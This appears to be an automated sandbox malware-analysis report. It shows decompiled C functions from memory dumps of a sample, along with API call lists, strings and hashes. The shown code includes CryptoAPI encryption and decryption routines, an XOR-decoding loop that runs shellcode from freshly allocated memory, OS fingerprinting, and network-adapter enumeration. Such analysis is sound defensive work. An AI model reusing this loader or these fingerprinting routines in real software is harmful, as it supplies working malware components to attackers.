CryptGetHashParam.ADVAPI32(00000000,00000004,00000000,00000004,00000000), ref: 04008C99
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 04008CC1
CryptDestroyHash.ADVAPI32(00000000), ref: 04008CD5
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 04008CE1

Strings

Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 04008C28
Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 04008BF0

Memory Dump Source

Source File: 00000000.00000002.730634851.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.730592213.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730732791.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730766607.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_fs7AQcREFX.jbxd

Similarity

API ID: Crypt$Hash$Context$AcquireParam$CreateDataDestroyErrorLastRelease
String ID: Microsoft Enhanced Cryptographic Provider v1.0$Microsoft Enhanced Cryptographic Provider v1.0
API String ID: 731959895-947817771
Opcode ID: c04671c4f16af3ba3265102b35b0728ece87a0365c7276e8c5171731790e3264
Instruction ID: 7e4f484856ccd150e5ceb993e2d8e8a423e5286abb412a2c571c9cca470c08b6
Opcode Fuzzy Hash: c04671c4f16af3ba3265102b35b0728ece87a0365c7276e8c5171731790e3264
Instruction Fuzzy Hash: 4E41C772A50209ABEB14DF94C849FAFB7B9FB44705F14C529A601B61C0D7B8AA84CB60

Uniqueness

Uniqueness Score: -1.00%

Function 04008A70 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 97
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04008A70(BYTE* _a4, DWORD* _a8, BYTE* _a12, int _a16, BYTE* _a20, int _a24) {
				int _v8;
				long* _v12;
				long _v16;
				long* _v20;
				long* _v24;
				char* _t35;
				int _t36;
				int _t38;
				char* _t62;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0 || _a12 == 0 || _a16 == 0 || _a20 == 0 || _a24 == 0) {
					L16:
					return _v8;
				} else {
					_v12 = 0;
					_t35 =  *0x4013370; // 0x400c6e4
					_t36 = CryptAcquireContextA( &_v12, _t35, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 0); // executed
					if(_t36 == 0) {
						_v16 = GetLastError();
						if(_v16 == 0x80090016 || _v16 == 0x8009000b) {
							_t62 =  *0x4013370; // 0x400c6e4
							CryptAcquireContextA( &_v12, _t62, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 8);
						}
					}
					if(_v12 != 0) {
						_v20 = 0;
						_t38 = CryptImportKey(_v12, _a20, _a24, 0, 1,  &_v20); // executed
						if(_t38 != 0) {
							_v24 = 0;
							if(CryptImportKey(_v12, _a12, _a16, _v20, 1,  &_v24) != 0) {
								_v8 = CryptDecrypt(_v24, 0, 1, 0, _a4, _a8);
								CryptDestroyKey(_v24);
							}
							CryptDestroyKey(_v20);
						}
						CryptReleaseContext(_v12, 0);
					}
					goto L16;
				}
			}

0x04008a76
0x04008a81
0x04008ba3
0x04008ba9
0x04008ab9
0x04008ab9
0x04008ac9
0x04008ad3
0x04008adb
0x04008ae3
0x04008aed
0x04008b01
0x04008b0c
0x04008b0c
0x04008aed
0x04008b16
0x04008b1c
0x04008b37
0x04008b3f
0x04008b41
0x04008b66
0x04008b80
0x04008b87
0x04008b87
0x04008b91
0x04008b91
0x04008b9d
0x04008b9d
0x00000000
0x04008b16

APIs

CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 04008AD3
GetLastError.KERNEL32 ref: 04008ADD
CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 04008B0C
CryptImportKey.ADVAPI32(00000000,00000000,?,00000000,00000001,00000000), ref: 04008B37
CryptImportKey.ADVAPI32(00000000,00000000,00000000,00000000,00000001,00000000), ref: 04008B5E
CryptDecrypt.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00000000), ref: 04008B7A
CryptDestroyKey.ADVAPI32(00000000), ref: 04008B87
CryptDestroyKey.ADVAPI32(00000000), ref: 04008B91
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 04008B9D

Strings

Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 04008AC4
Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 04008AFC

Memory Dump Source

Source File: 00000000.00000002.730634851.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.730592213.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730732791.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730766607.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_fs7AQcREFX.jbxd

Similarity

API ID: Crypt$Context$AcquireDestroyImport$DecryptErrorLastRelease
String ID: Microsoft Enhanced Cryptographic Provider v1.0$Microsoft Enhanced Cryptographic Provider v1.0
API String ID: 1555285084-947817771
Opcode ID: a29918078d8c2f64865fcd98cb153a1075290469360e4a9c607703ac9d42e64f
Instruction ID: 912f8c379191964defa89f3bac9fc05279983c51f6e5ced775be03f2308b6df6
Opcode Fuzzy Hash: a29918078d8c2f64865fcd98cb153a1075290469360e4a9c607703ac9d42e64f
Instruction Fuzzy Hash: 5A31CDB5A04209EBFB58DF94D849BEE77B8FB48705F14C518F601B62C0C7B8A984CB61

Uniqueness

Uniqueness Score: -1.00%

Function 02551030 Relevance: 18.4, APIs: 12, Instructions: 362libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(02554054,02554040), ref: 02551047
GetProcAddress.KERNEL32(00000000), ref: 0255104E

Part of subcall function 02551B30: SetLastError.KERNEL32(0000000D,?,02551070,?,00000040), ref: 02551B3D

SetLastError.KERNEL32(000000C1), ref: 02551096

Memory Dump Source

Source File: 00000000.00000002.719923860.0000000002551000.00000020.00001000.00020000.00000000.sdmp, Offset: 02551000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2551000_fs7AQcREFX.jbxd

Similarity

API ID: ErrorLast$AddressLibraryLoadProc
String ID:
API String ID: 1866314245-0
Opcode ID: fcc211d60620bdd8846dea480124f33310f24d68394209e930c225647411e923
Instruction ID: 99709bc8733b1d85a86417b94c96a55c7f83243b73b7646e765d19b10c8f1f0a
Opcode Fuzzy Hash: fcc211d60620bdd8846dea480124f33310f24d68394209e930c225647411e923
Instruction Fuzzy Hash: 72F1EAB4E00619EFDB04CF94D9A4BAEBBB1BF48304F108599E909AB351D735EA41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 04004880 Relevance: 18.1, APIs: 12, Instructions: 146encryptionCOMMON

Download Yara Rule

APIs

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 040048EB
CryptHashData.ADVAPI32(00000000,?,00000010,00000000), ref: 0400490B
CryptDeriveKey.ADVAPI32(00000000,00006801,00000000,00000001,00000000), ref: 0400493C
CryptDecrypt.ADVAPI32(00000000,00000000,00000001,00000000,?,000002F0), ref: 0400496F
CryptDestroyKey.ADVAPI32(00000000), ref: 04004982
CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,?), ref: 040049A9
CryptHashData.ADVAPI32(?,?,000002F0,00000000), ref: 040049CC
CryptGetHashParam.ADVAPI32(?,00000004,00000000,00000004,00000000), ref: 04004A07
CryptGetHashParam.ADVAPI32(?,00000002,?,00000010,00000000), ref: 04004A34
CryptDestroyHash.ADVAPI32(?), ref: 04004A7D
CryptDestroyHash.ADVAPI32(00000000), ref: 04004A8A
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 04004AA5

Memory Dump Source

Source File: 00000000.00000002.730634851.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.730592213.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730732791.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730766607.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_fs7AQcREFX.jbxd

Similarity

API ID: Crypt$Hash$Destroy$CreateDataParam$ContextDecryptDeriveRelease
String ID:
API String ID: 2727466597-0
Opcode ID: 56f7e97ff9290496e290980ffb5b481f03a5a3792702acde3772e2a43a98712a
Instruction ID: 825b94236ad970d67c54706e51f03fb1cf2707309f33405f466b5fd67a115f37
Opcode Fuzzy Hash: 56f7e97ff9290496e290980ffb5b481f03a5a3792702acde3772e2a43a98712a
Instruction Fuzzy Hash: E251FD71A54318ABEB65CF50CC45FEA77BCAB48B04F008598F609B61C0DB79AB84CF54

Uniqueness

Uniqueness Score: -1.00%

Function 04008970 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 78
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E04008970(intOrPtr _a4, intOrPtr* _a8, BYTE* _a12, int _a16) {
				int _v8;
				long* _v12;
				long _v16;
				long* _v20;
				char* _t27;
				int _t28;
				int _t33;
				char* _t47;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0 || _a12 == 0 || _a16 == 0) {
					L12:
					return _v8;
				} else {
					_v12 = 0;
					_t27 =  *0x4013370; // 0x400c6e4
					_t28 = CryptAcquireContextA( &_v12, _t27, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 0); // executed
					if(_t28 == 0) {
						_v16 = GetLastError();
						if(_v16 == 0x80090016 || _v16 == 0x8009000b) {
							_t47 =  *0x4013370; // 0x400c6e4
							CryptAcquireContextA( &_v12, _t47, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 8);
						}
					}
					if(_v12 != 0) {
						_v20 = 0;
						if(CryptImportKey(_v12, _a12, _a16, 0, 1,  &_v20) != 0) {
							_t33 = _v20;
							__imp__CryptEncrypt(_t33, 0, 1, 0, _a4, _a8,  *_a8); // executed
							_v8 = _t33;
							CryptDestroyKey(_v20);
						}
						CryptReleaseContext(_v12, 0);
					}
					goto L12;
				}
			}

0x04008976
0x04008981
0x04008a60
0x04008a66
0x040089a5
0x040089a5
0x040089b5
0x040089bf
0x040089c7
0x040089cf
0x040089d9
0x040089ed
0x040089f8
0x040089f8
0x040089d9
0x04008a02
0x04008a04
0x04008a27
0x04008a3d
0x04008a41
0x04008a47
0x04008a4e
0x04008a4e
0x04008a5a
0x04008a5a
0x00000000
0x04008a02

APIs

CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 040089BF
GetLastError.KERNEL32 ref: 040089C9
CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 040089F8
CryptImportKey.ADVAPI32(00000000,00000000,00000000,00000000,00000001,00000000), ref: 04008A1F
CryptEncrypt.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00000000,00000000), ref: 04008A41
CryptDestroyKey.ADVAPI32(00000000), ref: 04008A4E
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 04008A5A

Strings

Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 040089E8
Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 040089B0

Memory Dump Source

Source File: 00000000.00000002.730634851.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.730592213.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730732791.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730766607.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_fs7AQcREFX.jbxd

Similarity

API ID: Crypt$Context$Acquire$DestroyEncryptErrorImportLastRelease
String ID: Microsoft Enhanced Cryptographic Provider v1.0$Microsoft Enhanced Cryptographic Provider v1.0
API String ID: 3736710109-947817771
Opcode ID: a580c414a6f780aecf9ca1925e7721a486cca4ea517db96ead6d5debf2f75543
Instruction ID: 073036156a227ab269f6199982c6e62e9abf2561c3e32999b52b046b74d0c6c6
Opcode Fuzzy Hash: a580c414a6f780aecf9ca1925e7721a486cca4ea517db96ead6d5debf2f75543
Instruction Fuzzy Hash: D231FD75A40208EFFB54DFA4C849BAE77B9FB44701F14C658F605B62C0D7B8AA80CB51

Uniqueness

Uniqueness Score: -1.00%

Function 000FA0B0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 101
librarywindowCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E000FA0B0(void* __eflags, intOrPtr _a12, intOrPtr _a16) {
				char _v260;
				void* _v264;
				void* _v268;
				struct HINSTANCE__* _t24;
				void* _t26;
				intOrPtr* _t34;
				intOrPtr* _t35;
				signed int _t54;
				void* _t66;
				struct HINSTANCE__* _t70;
				intOrPtr* _t71;
				signed int _t74;
				void* _t77;
				void* _t79;

				_t79 = __eflags;
				E000F4A40();
				_t24 = LoadLibraryA("RICHED20.DLL"); // executed
				_push(0x40);
				_push(0x3000);
				_t70 = _t24;
				_push( &_v264);
				_push(0);
				_push( &_v268);
				_push(0xffffffff);
				_v260 = 0;
				_v268 = 0;
				_v264 = 0x14d44;
				_t26 = E001054F5(_t79); // executed
				_t77 = (_t74 & 0xfffffff8) - 0x10c + 0x18;
				if(_t26 >= 0) {
					_t54 = 0;
					__eflags = _v264;
					if(__eflags > 0) {
						do {
							_t11 = _t54 - (((0x84210843 * _t54 >> 0x20) + _t54 >> 4 >> 0x1f) + ((0x84210843 * _t54 >> 0x20) + _t54 >> 4) << 5) - ((0x84210843 * _t54 >> 0x20) + _t54 >> 4 >> 0x1f) + ((0x84210843 * _t54 >> 0x20) + _t54 >> 4) + "ck?<PMVf>sn+p%d(>M!s$?ch*owqz+"; // 0x3c3f6b63
							_t12 = _t54 + 0x15bdb8; // 0x3c3f6b8b
							 *(_t54 + _v268) =  *_t11 ^  *_t12;
							_t54 = _t54 + 1;
							__eflags = _t54 - _v264;
						} while (__eflags < 0);
					}
					_v268();
					_t66 = E000F9F00( &_v260, __eflags, _a12, _a16);
					FreeLibrary(_t70);
					E000F4BA0();
					_t71 =  *0x1719f0; // 0x2541058
					__eflags = _t71;
					if(_t71 != 0) {
						_t34 =  *_t71;
						__eflags = _t34;
						if(_t34 != 0) {
							E00105DE2(_t34);
							_t77 = _t77 + 4;
							 *_t71 = 0;
						}
						_t20 = _t71 + 4; // 0x0
						_t35 =  *_t20;
						__eflags = _t35;
						if(_t35 != 0) {
							E00105DE2(_t35);
							_t77 = _t77 + 4;
							 *((intOrPtr*)(_t71 + 4)) = 0;
						}
						_push(_t71);
						 *((intOrPtr*)(_t71 + 8)) = 0;
						E001059DB();
					}
					E000F4700();
					return _t66;
				} else {
					MessageBoxA(0, "NtAllocateVirtualMemory - Fail", 0, 0);
					return 0;
				}
			}

0x000fa0b0
0x000fa0bf
0x000fa0c9
0x000fa0cf
0x000fa0d1
0x000fa0d6
0x000fa0dc
0x000fa0df
0x000fa0e4
0x000fa0e5
0x000fa0e7
0x000fa0eb
0x000fa0ef
0x000fa0f7
0x000fa0fc
0x000fa101
0x000fa11c
0x000fa11e
0x000fa122
0x000fa124
0x000fa142
0x000fa148
0x000fa152
0x000fa155
0x000fa156
0x000fa156
0x000fa124
0x000fa15c
0x000fa172
0x000fa174
0x000fa17a
0x000fa17f
0x000fa185
0x000fa187
0x000fa189
0x000fa18b
0x000fa18d
0x000fa190
0x000fa195
0x000fa198
0x000fa198
0x000fa19a
0x000fa19a
0x000fa19d
0x000fa19f
0x000fa1a2
0x000fa1a7
0x000fa1aa
0x000fa1aa
0x000fa1ad
0x000fa1ae
0x000fa1b1
0x000fa1b6
0x000fa1b9
0x000fa1c6
0x000fa103
0x000fa10b
0x000fa119
0x000fa119

APIs

Part of subcall function 000F4A40: GetCurrentThreadId.KERNEL32 ref: 000F4A7B

LoadLibraryA.KERNEL32(RICHED20.DLL), ref: 000FA0C9
MessageBoxA.USER32 ref: 000FA10B
FreeLibrary.KERNEL32(00000000,?,00003000,00000040), ref: 000FA174

Strings

NtAllocateVirtualMemory - Fail, xrefs: 000FA105
RICHED20.DLL, xrefs: 000FA0C4

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Library$CurrentFreeLoadMessageThread
String ID: NtAllocateVirtualMemory - Fail$RICHED20.DLL
API String ID: 2057254942-2284438529
Opcode ID: f9b3373f62978de2ad33f99d2def47dbba277617830d13477bf78435cf5ac1aa
Instruction ID: 2b5eb552edc8930ba92c006121cb5f9c6b42bd4af2a1c9d39a5d76fc57d78a37
Opcode Fuzzy Hash: f9b3373f62978de2ad33f99d2def47dbba277617830d13477bf78435cf5ac1aa
Instruction Fuzzy Hash: 933128B2A042055FD304EF68DC859AB77D9FB89310F14463DFA99C7682E770EC4487A2

Uniqueness

Uniqueness Score: -1.00%

Function 00104820 Relevance: 4.8, APIs: 1, Instructions: 3253COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d9e57d56f03e4eb32d98c043259f0602398652354d549f7fd47c3a79d251fb8
Instruction ID: e91084eaa29ae535d06377dd280b6fe89e857b3bada7e80f0f34bfbc209c5746
Opcode Fuzzy Hash: 8d9e57d56f03e4eb32d98c043259f0602398652354d549f7fd47c3a79d251fb8
Instruction Fuzzy Hash: 8AD05E7909AA80D7DE14CB2085A5A2B7351FBE7B01F11BD28D04B87541E7785C08C805

Uniqueness

Uniqueness Score: -1.00%

Function 04009F70 Relevance: 1.6, APIs: 1, Instructions: 87
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E04009F70(intOrPtr _a4, signed int _a8, intOrPtr* _a12) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				signed int _v20;
				intOrPtr _v24;
				intOrPtr* _v28;
				void* _v32;
				intOrPtr* _t59;
				intOrPtr _t64;
				void* _t99;
				void* _t100;

				_v8 = 1;
				if(_a4 != 0) {
					_t103 = _a8 - 5;
					if(_a8 > 5) {
						asm("cdq");
						_t59 = E040097A0( ~(0 | _t103 > 0x00000000) | _a8 / 0x00000006 * 0x00000288); // executed
						_t100 = _t99 + 4;
						_v28 = _t59;
						_v12 = _v28;
						if(_v12 != 0) {
							_v16 = _v12;
							_v20 = _a8 * 0x288 / 6;
							_push( &_v20);
							_t64 = _v12;
							_push(_t64); // executed
							L0400B1DA(); // executed
							if(_t64 == 0) {
								_v24 = 0;
								while(_v12 != 0 && _v24 < _a8) {
									if( *((intOrPtr*)(_v12 + 0x190)) < _a8 - _v24) {
										E04007B70(_a4 + _v24, _v12 + 0x194,  *((intOrPtr*)(_v12 + 0x190)));
										_t100 = _t100 + 0xc;
										_v24 = _v24 +  *((intOrPtr*)(_v12 + 0x190));
										_v12 =  *_v12;
										_v8 = 1;
										continue;
									}
									break;
								}
								 *_a12 = _v24;
							}
							_v32 = _v16;
							E040097C0(_v32);
						}
					}
				}
				return _v8;
			}

0x04009f76
0x04009f81
0x04009f87
0x04009f8b
0x04009f94
0x04009fad
0x04009fb2
0x04009fb5
0x04009fbb
0x04009fc2
0x04009fcb
0x04009fe0
0x04009fe6
0x04009fe7
0x04009fea
0x04009feb
0x04009ff2
0x04009ff4
0x04009ffb
0x0400a018
0x0400a034
0x0400a039
0x0400a048
0x0400a050
0x0400a053
0x00000000
0x0400a05e
0x00000000
0x0400a018
0x0400a066
0x0400a066
0x0400a06b
0x0400a072
0x0400a077
0x04009fc2
0x04009f8b
0x0400a080

APIs

Part of subcall function 040097A0: GetProcessHeap.KERNEL32(00000008,04009FB2,?,04009FB2,00000000,?,?,?,04009E2D), ref: 040097A9
Part of subcall function 040097A0: RtlAllocateHeap.NTDLL(00000000,?,04009FB2,00000000,?,?,?,04009E2D), ref: 040097B0

GetAdaptersInfo.IPHLPAPI(00000000,04009E2D), ref: 04009FEB

Memory Dump Source

Source File: 00000000.00000002.730634851.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.730592213.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730732791.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730766607.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_fs7AQcREFX.jbxd

Similarity

API ID: Heap$AdaptersAllocateInfoProcess
String ID:
API String ID: 1318000056-0
Opcode ID: 73ff96f27f52de9840d8f092c1af349ff5175d9842f98ddb7f52f1a4bac05a00
Instruction ID: 97f005e152f21f2c2f7fd10924b0caa403664ba6d1ad8a9a516f1bf18f754b30
Opcode Fuzzy Hash: 73ff96f27f52de9840d8f092c1af349ff5175d9842f98ddb7f52f1a4bac05a00
Instruction Fuzzy Hash: B931FBB5E00209EFEB04CF98C494AEEB7B5EF48308F10C169E909A7390D735AA45CF51

Uniqueness

Uniqueness Score: -1.00%

Function 04008F80 Relevance: 63.2, APIs: 22, Strings: 14, Instructions: 207
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E04008F80(CHAR* _a4, intOrPtr _a8, intOrPtr* _a12) {
				int _v8;
				struct _SYSTEM_INFO _v44;
				signed int _v50;
				signed short _v52;
				struct _OSVERSIONINFOA _v204;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0 || _a12 == 0) {
					L45:
					return _v8;
				} else {
					E04007D20(E04007D20(_a8, _a4, 0, _a8),  &_v204, 0, 0x9c);
					_v204.dwOSVersionInfoSize = 0x9c;
					E04007D20( &_v44,  &_v44, 0, 0x24);
					if(GetVersionExA( &_v204) == 0) {
						L43:
						if(_v8 == 0) {
							lstrcatA(_a4, "UndefinedOS");
						}
						goto L45;
					}
					GetSystemInfo( &_v44); // executed
					if(_v204.dwMajorVersion != 5) {
						if(_v204.dwMajorVersion == 6) {
							if(_v204.dwMinorVersion != 0) {
								if(_v204.dwMinorVersion != 1) {
									if(_v204.dwMinorVersion == 2) {
										if((_v50 & 0x000000ff) == 1) {
											if((_v50 & 0x000000ff) == 1) {
												lstrcatA(_a4, "Win8");
												 *_a12 = 0xb;
											}
										} else {
											lstrcatA(_a4, "WinServer2012");
											 *_a12 = 0xc;
										}
									}
								} else {
									if((_v50 & 0x000000ff) == 1) {
										if((_v50 & 0x000000ff) == 1) {
											lstrcatA(_a4, "Win7");
											 *_a12 = 8;
										}
									} else {
										lstrcatA(_a4, "WinServer2008R2");
										 *_a12 = 0xa;
									}
								}
							} else {
								if((_v50 & 0x000000ff) != 1) {
									if((_v50 & 0x000000ff) != 1) {
										lstrcatA(_a4, "WinServer2008");
										 *_a12 = 9;
									}
								} else {
									lstrcatA(_a4, "Vista");
									 *_a12 = 7;
								}
							}
						}
						L38:
						if(E04009290() != 0) {
							lstrcatA(_a4, "_x64");
						}
						if(lstrlenA( &(_v204.szCSDVersion)) != 0) {
							lstrcatA(_a4, "_");
							lstrcatA(_a4,  &(_v204.szCSDVersion));
						}
						_v8 = lstrlenA(_a4);
						goto L43;
					}
					if(_v204.dwMinorVersion != 0) {
						if(_v204.dwMinorVersion != 1) {
							if(_v204.dwMinorVersion == 2) {
								if((_v50 & 0x000000ff) != 1 || (_v44.dwOemId & 0x0000ffff) != 9) {
									if(GetSystemMetrics(0x59) != 0) {
										if(GetSystemMetrics(0x59) == 0) {
											if((_v52 & 0x8000) != 0) {
												lstrcatA(_a4, "WinHomeServer");
												 *_a12 = 4;
											}
										} else {
											lstrcatA(_a4, "WinServer2003R2");
											 *_a12 = 6;
										}
									} else {
										lstrcatA(_a4, "WinServer2003");
										 *_a12 = 5;
									}
								} else {
									lstrcatA(_a4, "WinXP64");
									 *_a12 = 3;
								}
							}
						} else {
							lstrcatA(_a4, "WinXP");
							 *_a12 = 2;
						}
					} else {
						lstrcatA(_a4, "Win2K");
						 *_a12 = 1;
					}
					goto L38;
				}
			}

0x04008f89
0x04008f94
0x0400927b
0x04009281
0x04008fae
0x04008fce
0x04008fd6
0x04008fe8
0x04008fff
0x04009266
0x0400926a
0x04009275
0x04009275
0x00000000
0x0400926a
0x04009009
0x04009016
0x0400911c
0x04009129
0x0400917b
0x040091ca
0x040091d3
0x040091f6
0x04009201
0x0400920a
0x0400920a
0x040091d5
0x040091de
0x040091e7
0x040091e7
0x040091d3
0x0400917d
0x04009184
0x040091a7
0x040091b2
0x040091bb
0x040091bb
0x04009186
0x0400918f
0x04009198
0x04009198
0x040091c1
0x0400912b
0x04009132
0x04009155
0x04009160
0x04009169
0x04009169
0x04009134
0x0400913d
0x04009146
0x04009146
0x0400916f
0x04009129
0x04009210
0x04009217
0x04009222
0x04009222
0x04009237
0x04009242
0x04009253
0x04009253
0x04009263
0x00000000
0x04009263
0x04009023
0x04009049
0x0400906f
0x0400907c
0x040090ab
0x040090d1
0x040090f6
0x04009101
0x0400910a
0x0400910a
0x040090d3
0x040090dc
0x040090e5
0x040090e5
0x040090ad
0x040090b6
0x040090bf
0x040090bf
0x04009087
0x04009090
0x04009099
0x04009099
0x0400907c
0x0400904b
0x04009054
0x0400905d
0x0400905d
0x04009025
0x0400902e
0x04009037
0x04009037
0x00000000
0x04009110

APIs

GetVersionExA.KERNEL32(0000009C), ref: 04008FF7
GetSystemInfo.KERNEL32(?), ref: 04009009
lstrcatA.KERNEL32(00000000,Win2K), ref: 0400902E
lstrcatA.KERNEL32(00000000,WinXP), ref: 04009054
lstrcatA.KERNEL32(00000000,Vista), ref: 0400913D
lstrcatA.KERNEL32(00000000,WinServer2008), ref: 04009160
lstrcatA.KERNEL32(00000000,WinServer2008R2), ref: 0400918F
lstrcatA.KERNEL32(00000000,Win7), ref: 040091B2
lstrcatA.KERNEL32(00000000,WinServer2012), ref: 040091DE
lstrcatA.KERNEL32(00000000,Win8), ref: 04009201
lstrcatA.KERNEL32(00000000,_x64), ref: 04009222
lstrlenA.KERNEL32(?), ref: 0400922F
lstrcatA.KERNEL32(00000000,0400C980), ref: 04009242
lstrcatA.KERNEL32(00000000,?), ref: 04009253
lstrlenA.KERNEL32(00000000), ref: 0400925D
lstrcatA.KERNEL32(00000000,UndefinedOS), ref: 04009275

Strings

WinXP, xrefs: 0400904B
WinHomeServer, xrefs: 040090F8
UndefinedOS, xrefs: 0400926C
WinServer2008R2, xrefs: 04009186
Win2K, xrefs: 04009025
WinServer2012, xrefs: 040091D5
Vista, xrefs: 04009134
Win8, xrefs: 040091F8
WinXP64, xrefs: 04009087
_x64, xrefs: 04009219
WinServer2003, xrefs: 040090AD
Win7, xrefs: 040091A9
WinServer2008, xrefs: 04009157
WinServer2003R2, xrefs: 040090D3

Memory Dump Source

Source File: 00000000.00000002.730634851.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.730592213.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730732791.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730766607.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_fs7AQcREFX.jbxd

Similarity

API ID: lstrcat$lstrlen$InfoSystemVersion
